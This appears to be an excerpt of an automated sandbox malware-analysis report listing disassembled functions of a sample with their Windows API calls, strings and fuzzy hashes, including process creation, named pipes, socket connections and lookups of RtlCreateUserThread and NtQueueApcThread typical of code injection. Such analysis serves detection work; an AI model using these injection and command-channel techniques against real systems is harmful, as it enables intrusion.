Part of subcall function 00D87BFF: __NMSG_WRITE.LIBCMT ref: 00D87C29

_memset.LIBCMT ref: 00D7B7F3
_malloc.LIBCMT ref: 00D7B9CF
_memset.LIBCMT ref: 00D7BA61

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc_memset
String ID:
API String ID: 4137368368-0
Opcode ID: f9c874aefb29a918ebe8d89783b013946a3c117d743d1f6f25c12c717f7541be
Instruction ID: 01b003dba2702916e4d81d72a0017e27d17984395204186cbaa10f0af61cbd91
Opcode Fuzzy Hash: f9c874aefb29a918ebe8d89783b013946a3c117d743d1f6f25c12c717f7541be
Instruction Fuzzy Hash: F481E6729083106AD624BB24DC86B6FB7E9EF88721F11881FF59C9B181FB74D9448772

Function 00DB18D3 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 00DB18F2

Part of subcall function 00DC8BCD: __vscwprintf_helper.LIBCMT ref: 00DC8BDF

_malloc.LIBCMT ref: 00DB191B
htonl.WS2_32(?), ref: 00DB1935
_vswprintf_s.LIBCMT ref: 00DB1958
_memset.LIBCMT ref: 00DB196F

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __vscwprintf_helper_malloc_memset_vswprintf_s_vwprintfhtonl
String ID:
API String ID: 3121112697-0
Opcode ID: cb5f096bf3fad2b11918b14d55575474077282c1f9ba5e56f200f138876ab51a
Instruction ID: 7d8dc72c0230073ffc76bb45c45316b56280a21f0c5ac98960449a853b1727eb
Opcode Fuzzy Hash: cb5f096bf3fad2b11918b14d55575474077282c1f9ba5e56f200f138876ab51a
Instruction Fuzzy Hash: 93118EBA801618FFDB12AFA4DC42EEE7BA8EF44350F14446AF90197141EB309B01DBB5

Function 00DB18D3 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 00DB18F2

Part of subcall function 00DC8BCD: __vscwprintf_helper.LIBCMT ref: 00DC8BDF

_malloc.LIBCMT ref: 00DB191B
htonl.WS2_32(?), ref: 00DB1935
_vswprintf_s.LIBCMT ref: 00DB1958
_memset.LIBCMT ref: 00DB196F

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __vscwprintf_helper_malloc_memset_vswprintf_s_vwprintfhtonl
String ID:
API String ID: 3121112697-0
Opcode ID: eab78c14c4d6226c87d263ad8f6ee971a065a19c0f412d9def1dadf1496e4146
Instruction ID: 7d8dc72c0230073ffc76bb45c45316b56280a21f0c5ac98960449a853b1727eb
Opcode Fuzzy Hash: eab78c14c4d6226c87d263ad8f6ee971a065a19c0f412d9def1dadf1496e4146
Instruction Fuzzy Hash: 93118EBA801618FFDB12AFA4DC42EEE7BA8EF44350F14446AF90197141EB309B01DBB5

Function 00D753B6 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D753C6
_memset.LIBCMT ref: 00D753D2

Part of subcall function 00D75472: _malloc.LIBCMT ref: 00D754C4
Part of subcall function 00D75472: _malloc.LIBCMT ref: 00D754CF
Part of subcall function 00D75472: _memset.LIBCMT ref: 00D754DB
Part of subcall function 00D75472: _memset.LIBCMT ref: 00D754E6
Part of subcall function 00D75472: _rand.LIBCMT ref: 00D75544

__snprintf.LIBCMT ref: 00D7542E
_memset.LIBCMT ref: 00D7544C
_memset.LIBCMT ref: 00D75457

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$__snprintf_rand
String ID:
API String ID: 4266533377-0
Opcode ID: 009c693c855a16ac8fd6041bb0bec3bef12f42173df92b8ba1fd06714240f90e
Instruction ID: 6ad47add5e8a0f1849304895e22ea008dbe2cc67cc9e35a23a06ff70545032c3
Opcode Fuzzy Hash: 009c693c855a16ac8fd6041bb0bec3bef12f42173df92b8ba1fd06714240f90e
Instruction Fuzzy Hash: 98219D31800500BBCF15AF14DC46F9B3B69EF86714F288090FD046B26AE6B1ED61CBB6

Function 00DB4A7E Relevance: 7.6, APIs: 5, Instructions: 65processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.ADVAPI32(?,00000000,?,00000000,00000000,00000001,00000004,00000000,00000000,?,?,?,?,00000011,00DB4B75,?), ref: 00DB4AA4
GetLastError.KERNEL32(?,?,00DB9320), ref: 00DB4AB4
GetLastError.KERNEL32(?,?,00DB9320), ref: 00DB4ACE

Part of subcall function 00DB4870: _memset.LIBCMT ref: 00DB489E
Part of subcall function 00DB4870: _memset.LIBCMT ref: 00DB48BA

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000004,00000000,00000000,?,?,?,?,00000011,00DB4B75,?,?), ref: 00DB4AF3
GetLastError.KERNEL32(?,?,00DB9320), ref: 00DB4AFD

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateProcess_memset$User
String ID:
API String ID: 3779600536-0
Opcode ID: b152c126b3ff5e43fff5ebb64b1531b8ce75f194268a06b6f90647a59fe96cb7
Instruction ID: 55680a969a2d1faa51f6f1e410ed1f9e8328033f5f93be7945c7d829b29009eb
Opcode Fuzzy Hash: b152c126b3ff5e43fff5ebb64b1531b8ce75f194268a06b6f90647a59fe96cb7
Instruction Fuzzy Hash: 8F112A35141740FEDB329FA29C48E677BB9EBCAB19B24481EF293C1562D7218450DB34

Function 00DB71C8 Relevance: 7.6, APIs: 5, Instructions: 62pipeCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00DB72A9,00DB37B2,00000000,?,00DB37B2,?), ref: 00DB71EC
WaitNamedPipeA.KERNEL32(00DB37B2,00002710), ref: 00DB7201
SetNamedPipeHandleState.KERNEL32(?,00DB37B2,00000000,00000000,?,00DB72A9,00DB37B2,00000000,?,00DB37B2,?), ref: 00DB722F
DisconnectNamedPipe.KERNEL32(?,?,00DB72A9,00DB37B2,00000000,?,00DB37B2,?), ref: 00DB723B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: NamedPipe$DisconnectErrorHandleLastStateWait
String ID:
API String ID: 2058620245-0
Opcode ID: 12909c5420fcdafc485a1b38c53e1d7588b9f05aea3928dc37c0d276ea22c319
Instruction ID: 5d879dbda8bca38238056e8fd721918c3aea5e2bb28941ac8e71e6d78aef1717
Opcode Fuzzy Hash: 12909c5420fcdafc485a1b38c53e1d7588b9f05aea3928dc37c0d276ea22c319
Instruction Fuzzy Hash: 93115E71218214FFEB105B64DC09FBB3BADEF86715F10056BF916D61A0E7709D408A75

Function 00DB8DB3 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB8DD8
GetTickCount.KERNEL32 ref: 00DB8DF0
shutdown.WS2_32(00000000,00000002), ref: 00DB8E0B
shutdown.WS2_32(00000000,00000002), ref: 00DB8E18
closesocket.WS2_32(00000000), ref: 00DB8E1D

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CountTickshutdown$closesocket
String ID:
API String ID: 3414035747-0
Opcode ID: e648d81ad432562b11f5d78aa775d84032beb3a980eb177d2e375d1165265f1d
Instruction ID: a4676d54291d02a1e622f39bba19d72c204595e4385f3df1b2a1c52ffb94ec41
Opcode Fuzzy Hash: e648d81ad432562b11f5d78aa775d84032beb3a980eb177d2e375d1165265f1d
Instruction Fuzzy Hash: 6B116D31600711CFDB316F25D844A56B7E8FF14726B598A1FE88793690EB31EC40EAB0

Function 00DD0B1E Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00DD0B2A

Part of subcall function 00DCD797: __getptd_noexit.LIBCMT ref: 00DCD79A
Part of subcall function 00DCD797: __amsg_exit.LIBCMT ref: 00DCD7A7

__amsg_exit.LIBCMT ref: 00DD0B4A
__lock.LIBCMT ref: 00DD0B5A
InterlockedDecrement.KERNEL32(?), ref: 00DD0B77
InterlockedIncrement.KERNEL32(010F1658), ref: 00DD0BA2

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 79846ed2f038d75640f027a51c1cc11113c9686a040b3b89f8f2f6866cd38324
Instruction ID: 02a534a5c1651b2e959804ef2d8cc5581052e3f3a8fd5c51ee6a167de8b684ba
Opcode Fuzzy Hash: 79846ed2f038d75640f027a51c1cc11113c9686a040b3b89f8f2f6866cd38324
Instruction Fuzzy Hash: 0D01C432905B52DBDB10BB64E845B5DBB60FF40728F16005BF408A7380CB34A941CBF5

Function 00DB3615 Relevance: 7.5, APIs: 5, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00DB3622
gethostbyname.WS2_32(?), ref: 00DB3636
htons.WS2_32(?), ref: 00DB365F
connect.WS2_32(00000000,?,00000010), ref: 00DB366F
closesocket.WS2_32(00000000), ref: 00DB3679

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 9641cfb47082cf249cdf01a0311c87404ee51f5d4bd888ba294c073b903a0ca5
Instruction ID: 03fd88bdfef91de2f183f346468164cb2bf7f29c292e31ec426390afa36e4651
Opcode Fuzzy Hash: 9641cfb47082cf249cdf01a0311c87404ee51f5d4bd888ba294c073b903a0ca5
Instruction Fuzzy Hash: 25F0A935904154B9DB1077A89C06FEE7768DF04720F054256FD619A3D2F6B0DA01A3B9

Function 00D7E06F Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D7E076

Part of subcall function 00D87BFF: __FF_MSGBANNER.LIBCMT ref: 00D87C22
Part of subcall function 00D87BFF: __NMSG_WRITE.LIBCMT ref: 00D87C29

_malloc.LIBCMT ref: 00D7E083
_malloc.LIBCMT ref: 00D7E09E
__snprintf.LIBCMT ref: 00D7E0B1
_malloc.LIBCMT ref: 00D7E0D0

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc$__snprintf
String ID:
API String ID: 1839626857-0
Opcode ID: 60909d306269a7eecaa14b08a4ba8db20eb602b3f16b7d79ac9f69fbaa477fbb
Instruction ID: ca55f284f1373cd0eb83c4d0a2b407d31dc94a10c01c75dcaf27feab60d7af6d
Opcode Fuzzy Hash: 60909d306269a7eecaa14b08a4ba8db20eb602b3f16b7d79ac9f69fbaa477fbb
Instruction Fuzzy Hash: 75016D70904304AFD710AF7DCC85D96BBE9EF45B50B108829F489CB201DA74E9048BB0

Function 00DC8722 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00DC8740

Part of subcall function 00DCA8AA: __mtinitlocknum.LIBCMT ref: 00DCA8C0
Part of subcall function 00DCA8AA: __amsg_exit.LIBCMT ref: 00DCA8CC
Part of subcall function 00DCA8AA: EnterCriticalSection.KERNEL32(00000000,00000000,?,00DCD842,0000000D,00DE3748,00000008,00DCD939,00000000,?,00DCA4DC,00000000,?,?,?,00DCA53F), ref: 00DCA8D4

___sbh_find_block.LIBCMT ref: 00DC874B
___sbh_free_block.LIBCMT ref: 00DC875A
HeapFree.KERNEL32(00000000,00000000,00DE35A0,0000000C,00DCD788,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C), ref: 00DC878A
GetLastError.KERNEL32(?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5,00000000,00000000,?,00DCD842,0000000D), ref: 00DC879B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 053a01f93b52186d4cef23e8829c127f682d9f5161bb8fae5ae50e1db949a0ce
Instruction ID: 0cc592fe899219b58e789432d132df80554d2ec84c2e88833dfba4fecd8e50ea
Opcode Fuzzy Hash: 053a01f93b52186d4cef23e8829c127f682d9f5161bb8fae5ae50e1db949a0ce
Instruction Fuzzy Hash: FC017C3180134BEADF207BB49C4AF5A7660EF00325F34421EF010A71D1EF388941ABB5

Function 00DB795C Relevance: 7.5, APIs: 5, Instructions: 40sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB7969
GetTickCount.KERNEL32 ref: 00DB7970
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00DB7983
Sleep.KERNEL32(0000000A), ref: 00DB7994
GetTickCount.KERNEL32 ref: 00DB799A

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: e33b8ee4d509cbaa7e22547efe213dc07548808b1da4a93eff5061643f006acd
Instruction ID: da5f1ddd6e713d437e3e828795ee4402d2e77c88975a00f47b9491af52a409f4
Opcode Fuzzy Hash: e33b8ee4d509cbaa7e22547efe213dc07548808b1da4a93eff5061643f006acd
Instruction Fuzzy Hash: 28F08272A1561CFFEF015BB9DC819FE779DEB842A97240437E502D2110E6709D018E71

Function 00DBC0FD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 00DBC13C
__snprintf.LIBCMT ref: 00DBC14E
_strncmp.LIBCMT ref: 00DBC224

Strings

abcdefghijklmnop, xrefs: 00DBC1D6

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf$_strncmp
String ID: abcdefghijklmnop
API String ID: 3493850238-2486878355
Opcode ID: a7f402e130d5f3bc8409ac211332a33f512d31577d2d744c98ca2d1b3f6222a0
Instruction ID: 77f45a04e85c2a8c525cb4a31acca566186bb2177ec676f07ed7c33e3c241049
Opcode Fuzzy Hash: a7f402e130d5f3bc8409ac211332a33f512d31577d2d744c98ca2d1b3f6222a0
Instruction Fuzzy Hash: B741867691060ABEEB01DEB8DD41DEFB3B9EB453447140525E901F7152EA31EE0986B1

Function 00D8BD6B Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

2, xrefs: 00D8BDEC
, xrefs: 00D8BDB9
l, xrefs: 00D8BD92

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: eb474567eacfc3d501f5e1b6ebaa72d776817f12a42b620c1f05cf73adb88cac
Instruction ID: b1fb84cbc2f5422918eda8fa5628d64b176e0e3dc9642a10597da187c76c316f
Opcode Fuzzy Hash: eb474567eacfc3d501f5e1b6ebaa72d776817f12a42b620c1f05cf73adb88cac
Instruction Fuzzy Hash: F441D3B0814268CEDF34EE2488C93E87BB1AB15325F5811DBD199A6192C7749EC6CF71

Function 00D8AFBA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

, xrefs: 00D8B008
2, xrefs: 00D8B03B
l, xrefs: 00D8AFE1

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: a08bc20fbbed711a2771cefccfc8b9c6e4fe8b13b47a8aeaf76eb1eac6ba00ff
Instruction ID: 68dd2f42547254771ec9991ecfe4bdf7cbbbd3b40fdb8df0bdf74deed640ed5e
Opcode Fuzzy Hash: a08bc20fbbed711a2771cefccfc8b9c6e4fe8b13b47a8aeaf76eb1eac6ba00ff
Instruction Fuzzy Hash: 7C41B234845268CADF34AF1888D83E87BB5AB0A725F1841DBC0E966292C7755EC7CF31

Function 00DBC130 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 00DBC13C
__snprintf.LIBCMT ref: 00DBC14E
_strncmp.LIBCMT ref: 00DBC224

Strings

abcdefghijklmnop, xrefs: 00DBC1D6

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf$_strncmp
String ID: abcdefghijklmnop
API String ID: 3493850238-2486878355
Opcode ID: 0a7cddd77f77a3c14efd208771b89d3aa1c8a243f8d05003eacb4dae7584cda8
Instruction ID: 520590dd50023b1bdc3d304e6cac2bf9a280b617087a317d6ac865c978bed9a5
Opcode Fuzzy Hash: 0a7cddd77f77a3c14efd208771b89d3aa1c8a243f8d05003eacb4dae7584cda8
Instruction Fuzzy Hash: CB31967290020AABDB01EFA8DD81DEE73ADEF55344B244525F901EB142FE31EB0987B0

Function 00DB9977 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB997F
__snprintf.LIBCMT ref: 00DB99C1
__snprintf.LIBCMT ref: 00DB99E3

Strings

%s%s, xrefs: 00DB99B8, 00DB99DA

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf$_memset
String ID: %s%s
API String ID: 444161222-3438391663
Opcode ID: 150cda856f10910070ed4b4f88eeaceee9300f434e588ab47c43b8c1a344e857
Instruction ID: 47bc3bc7b86326fbc84c7931e0ce2241bc0dcf67c7d89c7c3f2427ea90e6e3f7
Opcode Fuzzy Hash: 150cda856f10910070ed4b4f88eeaceee9300f434e588ab47c43b8c1a344e857
Instruction Fuzzy Hash: D401CC71104285EFCB01DF10C894F9BBBA5EF8A710F584559FA865B262D731D908DB72

Function 00DBC9F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DBCA03
GetCurrentProcess.KERNEL32(00DB1A51), ref: 00DBCA1D

Part of subcall function 00DBC960: _memset.LIBCMT ref: 00DBC97A
Part of subcall function 00DBC960: __snprintf.LIBCMT ref: 00DBC9D9

Strings

system32, xrefs: 00DBCA48
syswow64, xrefs: 00DBCA36

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _memset$CurrentProcess__snprintf
String ID: system32$syswow64
API String ID: 3270679572-3098820961
Opcode ID: 38057ed0a5d0da93945676376c2c123e4956c99e8dddf32fa9c786a7f94d464b
Instruction ID: 8fea28c2270a03ba7e1e9cf78de2879486e8b438fc82fbf0cc374bb101d827e2
Opcode Fuzzy Hash: 38057ed0a5d0da93945676376c2c123e4956c99e8dddf32fa9c786a7f94d464b
Instruction Fuzzy Hash: F8F0BE31685308AEF704B750BC47FAA3798EF01754F08101AF80AAA3C2EA6165008579

Function 00DB6BCF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,RtlCreateUserThread,00000000,?,?,00DB62F7,00000000,00000000,00000000,00000000,?,00DB65ED,00000000,00000000,00000000), ref: 00DB6BE5
GetProcAddress.KERNEL32(00000000), ref: 00DB6BEC

Strings

RtlCreateUserThread, xrefs: 00DB6BD6
ntdll.dll, xrefs: 00DB6BDD

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RtlCreateUserThread$ntdll.dll
API String ID: 1646373207-2935400652
Opcode ID: ea4727518f9e494092efa8d2058f1ba9b0c7448335bf6eba6cd1e4673076cf77
Instruction ID: b85cc6219aaa65d139d77ac08624d287af88fe2b740690f27df781cd01419bdb
Opcode Fuzzy Hash: ea4727518f9e494092efa8d2058f1ba9b0c7448335bf6eba6cd1e4673076cf77
Instruction Fuzzy Hash: D9F03076902224FBCF11AFE18C098DE7F69EB04B10B558516F51692150D7749B54DBA0

Function 00DB6BCF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00DE16AC,00DE16B8), ref: 00DB6BE5
GetProcAddress.KERNEL32(00000000), ref: 00DB6BEC

Strings

ntdll.dll, xrefs: 00DB6BDD
RtlCreateUserThread, xrefs: 00DB6BD6

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RtlCreateUserThread$ntdll.dll
API String ID: 1646373207-2935400652
Opcode ID: ea4727518f9e494092efa8d2058f1ba9b0c7448335bf6eba6cd1e4673076cf77
Instruction ID: b85cc6219aaa65d139d77ac08624d287af88fe2b740690f27df781cd01419bdb
Opcode Fuzzy Hash: ea4727518f9e494092efa8d2058f1ba9b0c7448335bf6eba6cd1e4673076cf77
Instruction Fuzzy Hash: D9F03076902224FBCF11AFE18C098DE7F69EB04B10B558516F51692150D7749B54DBA0

Function 00DB67F1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,NtQueueApcThread,?,00DB63DD,00000000,00000000), ref: 00DB67FE
GetProcAddress.KERNEL32(00000000), ref: 00DB6805

Strings

NtQueueApcThread, xrefs: 00DB67F4
ntdll, xrefs: 00DB67F9

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: NtQueueApcThread$ntdll
API String ID: 1646373207-1374908105
Opcode ID: 141f568c23265b4727e7a3b13ffd6f2c550093efd5daaae3e86fd1c6eb7af968
Instruction ID: c1f397498e0adfdea73730af60399a82e1d460b80e5d8c4138fff79b02db22b3
Opcode Fuzzy Hash: 141f568c23265b4727e7a3b13ffd6f2c550093efd5daaae3e86fd1c6eb7af968
Instruction Fuzzy Hash: ECE0DF3E340705BBDF202FB5AC02B9E3B99AF04B64F10852AF52EC50E0EB32D4505A34

Function 00DB98E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB98F0
__snprintf.LIBCMT ref: 00DB9920

Strings

%s&%s, xrefs: 00DB9933
?%s, xrefs: 00DB9917

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf_memset
String ID: %s&%s$?%s
API String ID: 2657849664-1750478248
Opcode ID: 9dcc7895b22ee8def29aa9ce0e0ec205ca7744b3a2a839994267200949d5a36d
Instruction ID: c1a1ea452f8bed48b6788424ad143bfdad72c7428b35ef91f3acc8b39f187e7a
Opcode Fuzzy Hash: 9dcc7895b22ee8def29aa9ce0e0ec205ca7744b3a2a839994267200949d5a36d
Instruction Fuzzy Hash: 5BF030B5514384FFD710EB54CD82FABB7ACEB85700F84555EBA4256142E630D904DB32

Function 00DB4354 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,00DB80DF), ref: 00DB4366
GetProcAddress.KERNEL32(00000000), ref: 00DB436D

Strings

kernel32, xrefs: 00DB4361
IsWow64Process, xrefs: 00DB435C

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32
API String ID: 1646373207-3789238822
Opcode ID: 816fa3ad8d5365524cf00bbe74b58302ee03789401e042bed99538d8b8dbf25c
Instruction ID: b16a82cb7c2139e04b5c2036b1cc79e437b753d75b41075fb1eb96375a7f2ece
Opcode Fuzzy Hash: 816fa3ad8d5365524cf00bbe74b58302ee03789401e042bed99538d8b8dbf25c
Instruction Fuzzy Hash: FDE0EC7474030AFBDF00DBE6DD1AA9D77BCAB4079DF540155B402E2291DBB4DA449730

Function 00DB4354 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00DE1588,00DE1578,?,?,00DB80DF), ref: 00DB4366
GetProcAddress.KERNEL32(00000000), ref: 00DB436D

Strings

IsWow64Process, xrefs: 00DB435C
kernel32, xrefs: 00DB4361

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32
API String ID: 1646373207-3789238822
